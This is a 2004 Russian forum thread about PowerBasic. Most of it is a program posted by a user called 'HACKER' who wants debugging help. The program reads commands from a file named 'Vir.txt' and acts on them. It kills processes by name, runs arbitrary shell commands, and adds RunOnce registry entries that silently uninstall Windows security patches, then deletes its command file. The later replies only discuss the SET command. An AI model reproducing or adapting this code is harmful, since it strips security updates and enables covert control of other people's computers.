Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Power Basic

Страница: 1 | 2 |

 

  Вопрос: И ешё одна фигня с ПБ... Добавлено: 19.10.04 17:21  

Автор вопроса:  HACKER

Ответить

  Ответы Всего ответов: 22  

Номер ответа: 16
Автор ответа:
 CyRax



Разработчик Offline Client

ICQ: 204447456 

Вопросов: 180
Ответов: 4229
 Web-сайт: basicproduction.nm.ru
 Профиль | | #16
Добавлено: 24.10.04 01:04
 Вряд ли кто будет ковыряться в твоём коде. Тем более на 200 строк. Может хоть глючное место сюда скопируешь?

Ответить

Номер ответа: 17
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #17 Добавлено: 24.10.04 21:56
та чо мне жалко что ли! Вообще я всё как у людей сделать собирался, короче всё на подпрограммы разбить, ну пока скину всё как есть:

#COMPILE EXE
#INCLUDE "Win32Api.inc"
#INCLUDE "TlHelp32.inc"

DECLARE FUNCTION ReplaceStr$ (FullString$, str1$, str2$)

FUNCTION PBMAIN () AS LONG

'gOTO 1
OPEN "C:\1.bat" FOR OUTPUT AS #1
PRINT #1,"set > C:\1.tmp"
PRINT #1,"exit"
CLOSE #1

DIM ProgID AS DWORD
ProgID= SHELL ("C:\1.bat";)
GOTO 666
CLOSE


666:
OPEN "C:\1.tmp" FOR INPUT AS #1
DO WHILE NOT EOF(1)
LINE INPUT #1, s$

param$ = "SYSTEMROOT="
IF LEFT$(s$, LEN(param$)) = param$ THEN
WinDir$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF

param$ = "PROGRAMFILES="
IF LEFT$(s$, LEN(param$)) = param$ THEN
ProgFiles$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF

param$ = "TEMP="
IF LEFT$(s$, LEN(param$)) = param$ THEN
TempDir$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF

param$ = "USERNAME="
IF LEFT$(s$, LEN(param$)) = param$ THEN
UserName$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF

param$ = "USERPROFILE="
IF LEFT$(s$, LEN(param$)) = param$ THEN
UserProFile$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF

LOOP
CLOSE #1

KILL "C:\1.tmp"
1:
DIM KillUpDate$(20)

ON ERROR GOTO noFileVIR
OPEN "C:\Vir.txt" FOR INPUT AS #1
DO WHILE NOT EOF(1)
LINE INPUT #1, s$

param$ = "KillProc "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
KillProc$ = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))
'SHELL "taskkill /F /IM " + KillProc$ + " /T" '<< Это в прошлом :)
CALL KillProcByName (BYCOPY KillProc$) '<< Теперь я жёсткий :D
GOTO nextStr1
END IF

param$ = "Sleep "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
Sl$ = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))
SLEEP VAL(Sl$)
GOTO nextStr1
END IF

param$ = ";DOS SHELL: "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
S$ = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))

OPEN "C:\2.bat" FOR OUTPUT AS #2
PRINT #2,s$
CLOSE #2

SHELL "C:\2.bat"

GOTO nextStr1
END IF


param$ = "UnInstal_UpDate "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
KillUpDate$(UpDateCount%) = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))
UpDateCount% = UpDateCount% + 1
GOTO nextStr1
END IF
SHELL s$
nextStr1:



LOOP
CLOSE #1


'Пишем в реестр удаление заплаток, номерки в массиве KillUpDate$
IF UpDateCount% <> 0 THEN
 OPEN WinDir$ + "\tmp.reg" FOR OUTPUT AS #1
 PRINT #1, "REGEDIT 4"
 PRINT #1, ""
 FOR i% = 0 TO UpDateCount%
 NameZaplatki$ = KillUpDate$(i%)
 IF RTRIM$(NameZaplatki$) = "" THEN GOTO nextStr2
 PRINT #1, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]"
 pathUninstal$ = WinDir$ + "\$NtUninstall" + UCASE$(NameZaplatki$) + "$\spuninst\spuninst.exe -u -z -q"
 pathUninstal$ = ReplaceStr$ (pathUninstal$, "\", "\\";)
 PRINT #1, CHR$(34) + "spuninst" + STR$(i%) + CHR$(34) + "=" + CHR$(34) + pathUninstal$ + CHR$(34)
 PRINT #1, ""
 PRINT #1, ""
 nextStr2:
 NEXT i%
 CLOSE #1

 SHELL "regedit /s " + WinDir$ + "\TMP.REG"
 KILL WinDir$ + "\TMP.REG"
END IF
'===================================================================

KILL "C:\Vir.txt"
noFileVIR:
ExitProcess GetExitCodeProcess(GetCurrentProcess, 0)

END FUNCTION

FUNCTION ReplaceStr$ (FullString$, str1$, str2$)
    FullString$ = FullString$ + " "
    FOR sss% = 1 TO LEN(FullString$)
     simv$ = MID$(FullString$, sss%, 1)
     IF RIGHT$(s$, LEN(str1$)) = str1$ THEN
         s$ = LEFT$(s$, LEN(s$) - LEN(str1$))
         s$ = s$ + str2$
     END IF
     s$ = s$ + simv$
    NEXT sss%
ReplaceStr$ = LEFT$(s$, LEN(s$) - 1)
END FUNCTION



'====================== Для удаления процесса ===========================
FUNCTION Spliting(BYREF inString AS ASCIIZ, BYREF sDelimeter AS STRING) AS STRING
    LOCAL ub() AS STRING

    IF LEN(inString) = 0& THEN EXIT FUNCTION
    REDIM ub(0)

    PARSE inString, ub(), sDelimeter
    Spliting = ub(UBOUND(ub))
END FUNCTION

FUNCTION FillProcLst(BYREF outArray() AS PROCESSENTRY32) AS LONG
    LOCAL hSnapshot AS LONG, cnt AS LONG, _
          uProcess AS PROCESSENTRY32

    hSnapshot = CreateToolhelp32Snapshot(%TH32CS_SNAPPROCESS, 0&;)
    IF hSnapshot = &HFFFFFFFF THEN FillProcLst = &HFFFFFFFF: _
                                   EXIT FUNCTION

    uProcess.dwSize = SIZEOF(uProcess)
    CALL Process32First(hSnapshot, uProcess)

    ;DO
        REDIM PRESERVE outArray(cnt)
        uProcess.szExeFile = Spliting(uProcess.szExeFile, "\";)



        outArray(cnt) = uProcess
        uProcess.szExeFile = STRING$(%MAX_PATH, 0&;)

        INCR cnt

        LOOP WHILE (Process32Next(hSnapshot, uProcess))

    CALL CloseHandle(hSnapshot)
    FUNCTION = cnt - 1&

END FUNCTION

SUB KillProcByPID(BYVAL ID AS LONG)
    ;DIM hProcess AS LONG
    hProcess = OpenProcess(&H1F0FFF, 1&, ID)
    CALL TerminateProcess(hProcess, 0&;)
    CALL CloseHandle(hProcess)
END SUB

SUB KillProcByName(BYREF szPrcName AS ASCIZ)
    LOCAL i AS LONG, arr() AS PROCESSENTRY32

    REDIM arr(0)
    FOR i = 0 TO FillProcLst(arr())
        IF szPrcName = arr(i).szExeFile THEN CALL KillProcByPID(arr(i).th32ProcessID)
    NEXT
END SUB

Ответить

Номер ответа: 18
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #18 Добавлено: 24.10.04 21:58
Теперь объясню...

вот тут, если см с начала, то

'gOTO 1
OPEN "C:\1.bat" FOR OUTPUT AS #1
PRINT #1,"set > C:\1.tmp"
PRINT #1,"exit"
CLOSE #1

DIM ProgID AS DWORD
ProgID= SHELL ("C:\1.bat";)
GOTO 666
CLOSE


чо я токо не мудрил... вообще проще говоря там надо просто SHELL "C:\1.bat" и чтоб запустился этот батик и прога дальше работала!

Принцип работы, создаём сценарий в Vir.txt прога открывает его и выполняет команды...

Ответить

Номер ответа: 19
Автор ответа:
 CyRax



Разработчик Offline Client

ICQ: 204447456 

Вопросов: 180
Ответов: 4229
 Web-сайт: basicproduction.nm.ru
 Профиль | | #19
Добавлено: 25.10.04 01:02
Что то ты с SET перемудрил. Вот так надо:

set /?
Вывод, установка и удаление переменных среды Windows.

SET [переменная=[строка]]

  переменная Имя переменной среды.
  строка Текст, представляющий значение переменной среды.

Ввод SET без параметров позволяет вывести текущие значения переменных среды.

Ответить

Номер ответа: 20
Автор ответа:
 CyRax



Разработчик Offline Client

ICQ: 204447456 

Вопросов: 180
Ответов: 4229
 Web-сайт: basicproduction.nm.ru
 Профиль | | #20
Добавлено: 25.10.04 01:09
 С новым 2004 сообщением меня! :)

Ответить

Номер ответа: 21
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #21 Добавлено: 28.10.04 01:17
Ввод SET без параметров позволяет вывести текущие значения переменных среды.


Ну так! а если set > 1.txt То в файл!

Ответить

Номер ответа: 22
Автор ответа:
 CyRax



Разработчик Offline Client

ICQ: 204447456 

Вопросов: 180
Ответов: 4229
 Web-сайт: basicproduction.nm.ru
 Профиль | | #22
Добавлено: 29.10.04 01:17
Ты не понял. Set задаёт значения системных переменных. Хотя может и я не понял.

Ответить

Страница: 1 | 2 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам